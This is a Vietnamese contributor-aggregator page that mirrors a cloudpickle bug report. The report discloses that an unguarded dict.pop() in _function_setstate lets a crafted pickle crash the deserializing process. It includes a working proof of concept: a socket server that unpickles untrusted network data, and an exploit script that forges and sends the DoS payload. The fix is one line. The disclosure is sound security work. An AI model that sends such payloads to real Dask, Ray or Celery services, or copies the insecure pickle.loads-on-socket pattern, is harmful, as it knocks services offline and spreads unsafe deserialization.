Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4)
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 2/5
- Thời gian dự kiến
- 1-3 giờ
- Mức phù hợp với người mới
- 78/100
Hướng nghiên cứu
Bắt đầu bằng cách đọc cloudpickle/cloudpickle.py quanh dòng 1156 và so sánh với kiểm tra phòng vệ đã bị xóa trong commit c6f8cd4. Tái hiện pickle được tạo đặc biệt опис trong issue và xác minh rằng việc giải tuần tự hóa khi thiếu khóa _cloudpickle_submodules không còn gây ra KeyError.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
A crafted pickle payload that omits the key _cloudpickle_submodules from a function's slotstate triggers an unhandled KeyError in _function_setstate(), immediately crashing any process that calls pickle.loads() on it.
A CVE has been requested to MITRE for this issue.
Affected versions
cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)
Root cause
In commit c6f8cd4 (#517), the following defensive check was removed:
# OLD safe
if '_cloudpickle_submodules' in state:
state.pop('_cloudpickle_submodules')
and replaced with:
# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules") # KeyError if key is absent
Proof of concept
Server.py :
`
import socket
import struct
import pickle
import cloudpickle
import os
HOST = "127.0.0.1"
PORT = 9999
def start_server():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen()
print(f"Listening {HOST}:{PORT}...")
while True:
conn, addr = s.accept()
with conn:
try:
raw_msglen = conn.recv(4)
if not raw_msglen: continue
msglen = struct.unpack(">I", raw_msglen)[0]
data = b""
while len(data) < msglen:
chunk = conn.recv(msglen - len(data))
if not chunk: break
data += chunk
print(f"{len(data)}o from {addr}")
task = pickle.loads(data)
result = str(task())
print(f"Result : {result}")
resp = f"OK: {result}".encode()
conn.sendall(struct.pack(">I", len(resp)) + resp)
except KeyError as e:
print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
print("Stoping server to show the DOS")
break
except Exception as e:
print(f"[!] Error : {type(e).__name__}: {e}")
err_msg = f"Error: {str(e)}".encode()
conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)
if __name__ == "__main__":
start_server()
`
exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os
HOST = "127.0.0.1"
PORT = 9999
def build_payload() -> bytes:
sys.path.insert(0, os.path.dirname(__file__))
import cloudpickle
valid = cloudpickle.dumps(lambda: 42)
target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'
if target not in valid:
sys.exit("[!] Signature not found — incompatible cloudpickle version")
modified = valid.replace(target, b'', 1)
old_len = struct.unpack('<Q', valid[3:11])[0]
new_len = old_len - len(target)
return valid[:3] + struct.pack('<Q', new_len) + modified[11:]
def send(data: bytes) -> bytes | None:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(4)
s.connect((HOST, PORT))
s.sendall(struct.pack(">I", len(data)) + data)
raw = s.recv(4)
if not raw:
return None
length = struct.unpack(">I", raw)[0]
return s.recv(length)
def cmd_try():
sys.path.insert(0, os.path.dirname(__file__))
import cloudpickle
print(f"[*] Connecting to {HOST}:{PORT}...")
task = cloudpickle.dumps(lambda: "pong")
try:
resp = send(task)
print(f"[+] Server is up — response: {resp.decode()}")
except ConnectionRefusedError:
print("[-] Connection refused — server not running")
sys.exit(1)
except socket.timeout:
print("[-] Timeout — server not responding")
sys.exit(1)
def cmd_exploit():
payload = build_payload()
print(f"[*] Forged payload: {len(payload)} bytes")
print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
print(f"[*] Sending to {HOST}:{PORT}...")
try:
resp = send(payload)
print(f"[-] Server responded (not crashed): {resp}")
except ConnectionRefusedError:
print("[!] Connection refused — server already dead or not running")
except (socket.timeout, ConnectionResetError):
print("[+] No response — server crashed")
print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")
Usage:
python3 exploit.py try Test the connection (sends a legit task)
python3 exploit.py exploit Send the DoS payload
"""
Impact
Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.
Fix
# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)
- Ngôn ngữ chính
- Python
- Star
- 1.9k
- Fork
- 197
- Merge trung bình
- 1 ngày 10 giờ
- Pull request đã merge (30 ngày)
- 1
Hướng dẫn đóng góp
Chưa lập chỉ mục được hướng dẫn đóng góp cho kho mã nguồn này
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của cloudpipe/cloudpickle
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 42/100
cloudpipe/cloudpickle#595 ·
-
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 65/100
cloudpipe/cloudpickle#592 · 2 bình luận ·
-
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 35/100
cloudpipe/cloudpickle#589 ·
-
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 20/100
cloudpipe/cloudpickle#587 ·
-
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 38/100
cloudpipe/cloudpickle#586 ·
Tất cả issue của cloudpipe/cloudpickle
Issue tương tự
-
agent-ready documentation needs-triage
Độ khó 1/5 1-3 giờ Mức phù hợp với người mới 88/100
-
documentation
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 91/100
-
workflow-status page template still says reusable workflows are "triggered only by workflow_call:" Đang mở
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 92/100
-
Add https://search.jeremyh.xyz/ Đang mởinstance instance add
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 72/100
searxng/searx-instances#939 · 1 bình luận ·
-
area-deployment area-integrations triage:bot-seen
Độ khó 2/5 Nửa ngày Mức phù hợp với người mới 86/100